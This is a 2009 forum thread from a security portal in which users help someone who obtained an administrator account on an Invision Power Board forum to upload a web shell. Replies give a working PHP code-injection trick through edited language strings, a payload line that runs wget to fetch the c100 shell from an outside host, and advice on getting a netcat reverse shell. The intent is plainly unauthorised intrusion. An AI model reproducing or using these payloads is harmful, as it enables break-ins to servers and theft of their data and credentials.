Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 22, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 51 Members: 0 Total: 51 Full disclosure APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1 Local Privilege Escalations in needrestart APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2 APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1 APPLE-SA-11-19-2024-2 visionOS 2.1.1 APPLE-SA-11-19-2024-1 Safari 18.1.1 Reflected XSS - fronsetiav1.1 XXE OOB - fronsetiav1.1 St. Poelten UAS | Path Traversal in Korenix JetPort 5601 St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS) SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI IT Security and Insecurity Portal www.waraxe.us Forum Index -> Invision Power Board -> Uploading a shell with Administrator acc? Goto page 1, 2, 3Next View previous topic :: View next topic Uploading a shell with Administrator acc? Posted: Mon Jun 15, 2009 1:06 am ThinSmoke Advanced user Joined: Nov 15, 2008 Posts: 55 Heya, recently i got my hands on an administrator account of a 2.3.6 ipb, now my problem is iam not root admin, i cant think of any method which could help me to upload a shell :/ I tried searching, everything failed Any suggestions please? Thanks. Posted: Tue Jun 16, 2009 2:26 am ThinSmoke Advanced user Joined: Nov 15, 2008 Posts: 55 No1? Posted: Wed Jun 17, 2009 2:31 pm timor Active user Joined: Jun 07, 2009 Posts: 30 It is not possible for me, I have tried with 5+ boards with root admin. The idea is you can upload a .php shell in the emotion manager. BUT FOR ME IT IS ALWAYS SAYING THAT YOU CAN ONLY UPLOAD .JPG .GIF ETC!!! Posted: Wed Jun 17, 2009 5:43 pm JasonB Regular user Joined: Apr 05, 2009 Posts: 23 I assume you've tried the basics (putting a shell as shell.php.jpg) Have no experience with IPB. Posted: Wed Jun 17, 2009 11:51 pm ThinSmoke Advanced user Joined: Nov 15, 2008 Posts: 55 if you upload a x.php.jpg wouldnt it be parsed as a jpg? Ö.ö Posted: Thu Jun 18, 2009 12:59 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu IPB current version and older versions are allowing admin to edit language strings. This is accessible to all admins, included non-root ones. Next, almost year ago there was DarkFig's advisory: http://mgsdl.free.fr/?0:18 Code: VI - CODE EXECUTION The ACP allows admins to manage languages, they can choose the default language, import a new one, and edit them. Let's take a look in the file "sources/action_admin/ languages.php": ... This trick is working even against current IPB version! Just go to admin-->Look and Feel-->Manage Languages Then choose section, for example: public_help Edit "help_txt", which originally is "Choose a topic from the list, or search for a topic" Add some php code, so it becomes as: Code: Choose a topic from the list, or search for a topic ${${phpinfo()}} Save changes. Then go to help section: http://localhost/ipb.3.0.0.rc2/index.php?app=core&module=help ... and php code will be executed Posted: Sat Jun 20, 2009 1:51 am ThinSmoke Advanced user Joined: Nov 15, 2008 Posts: 55 Thx waraxe but didnt work out.. No permissions to write there Could not write back to D:\Hosting\4204178\html\forums/cache/lang_cache/en/lang_help.php Posted: Thu Jul 23, 2009 8:09 am xalupeao Regular user Joined: May 23, 2009 Posts: 17 Location: Santiago, Chile create a new lenguaje based ... =) ---- what code for injected shell Posted: Thu Jul 23, 2009 5:43 pm ThinSmoke Advanced user Joined: Nov 15, 2008 Posts: 55 Just basic php dude lol.. Posted: Fri Jul 24, 2009 3:08 am xalupeao Regular user Joined: May 23, 2009 Posts: 17 Location: Santiago, Chile ${${phpinfo()}} ...................... ${${system(wget http://blacknite.eu/php_shells/c100.txt)}} Posted: Wed Oct 21, 2009 3:50 pm nuker Active user Joined: Aug 16, 2009 Posts: 39 maybe its a dull question, but once you have uploaded the shell then you can have access to all the files in the forum folder like if it was FTP? how you do it? Posted: Wed Oct 21, 2009 9:27 pm RG007145 Active user Joined: May 04, 2008 Posts: 27 No. You can read all files readable by the web server (source code), and you can upload files to directories chmodded to 777. If upload is possible, you can also upload software and run it, which means you can execute privilige escalation exploits if applicable. Also, if you can't upload a shell, you can put in PHP that calls the 'netcat' or 'nc' program through passthru(), system() or exec(), which can give you a netcat reverse shell (use forum search). Posted: Thu Oct 22, 2009 10:30 am nuker Active user Joined: Aug 16, 2009 Posts: 39 okay, so for example i can download config_global.php using the shell? i understand this tutorial to execute the php code and upload the shell, but after that whats next? where do you access the shell from? Thank you! Posted: Thu Oct 22, 2009 11:26 am pexli Valuable expert Joined: May 24, 2007 Posts: 665 Location: Bulgaria nuker read some books for apache,php,mysql,UNIX servers ...etc Posted: Thu Oct 22, 2009 11:53 am nuker Active user Joined: Aug 16, 2009 Posts: 39 forums like this are for making things easier. Im not spending years reading books just to find something i could learn in 2 seconds if somebody kind enough tells me. Besides i dont think i can find on any book how to hack an IPB... Uploading a shell with Administrator acc? www.waraxe.us Forum Index -> Invision Power Board You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 3 Goto page 1, 2, 3Next All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.051 Seconds